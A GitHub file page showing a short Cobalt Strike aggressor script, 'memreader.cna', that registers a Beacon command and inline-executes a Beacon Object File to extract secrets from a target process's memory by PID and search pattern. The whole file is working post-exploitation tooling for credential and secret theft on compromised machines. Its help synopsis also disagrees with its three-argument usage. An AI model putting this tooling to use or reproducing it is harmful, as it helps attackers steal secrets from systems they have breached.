-
Notifications
You must be signed in to change notification settings - Fork 6
/
memreader.cna
31 lines (24 loc) · 879 Bytes
/
memreader.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#register help
beacon_command_register("memreader", "Beacon Object File to Extract secrets from process memory",
"Synopsis: memreader <PID> <return value size>\n" .
"Beacon Object File to Extract secrets from process memory.\n");
alias memreader {
# Alias for Beacon ID and args
local('$bid $pid $pattern $size');
# Set the number of arguments
($bid, $pid, $pattern, $size) = @_;
# Determine the amount of arguments
if (size(@_) != 4)
{
berror($bid, "Usage : memreader <target-pid> <pattern> <output-size>");
return;
}
# Read in the BOF
$handle = openf(script_resource("memreader.o"));
$data = readb($handle, -1);
closef($handle);
$args = bof_pack($bid , "izi", $pid, $pattern, $size);
# Run the BOF
# go = Entry point of the BOF
beacon_inline_execute($bid, $data, "go", $args);
}